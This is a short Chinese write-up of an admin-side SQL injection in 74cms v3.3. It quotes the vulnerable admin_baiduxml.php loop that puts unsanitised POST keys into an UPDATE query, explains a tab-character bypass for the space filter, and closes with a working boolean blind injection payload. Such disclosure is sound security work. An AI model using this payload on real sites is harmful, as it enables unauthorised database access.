74cms v3.3 后台SQL注入
注入存在于后台 admin_baiduxml.php
代码 52-63行
elseif($act == 'setsave') { $_POST['xmlmax']=intval($_POST['xmlmax']); $_POST['xmlpagesize']=intval($_POST['xmlpagesize'])==0?1:intval($_POST['xmlpagesize']); foreach($_POST as $k => $v) { !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):""; } refresh_cache('baiduxml'); adminmsg("保存成功!",2); }
这里可以看到 用了 foreach 对 $POST 进行遍历,没有对$k 进行处理
!$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";
虽然上面两行对 xmlmax 和 xmlpagesize进行了 intval操作,但是用户可以提交如下数据 那么这里b参数就没有进行任何处理导致注入
xmlmax=111&xmlpagesize=112&b=aaa
空格变为了_
可以用%09 代替 空格
最后bool盲注 payload:
xmlmax=111&xmlpagesize=112&b'or%09if(1%3d(select%091%09REGEXP%09if(1%3d12,1,0x00)),1,1)%23=aaa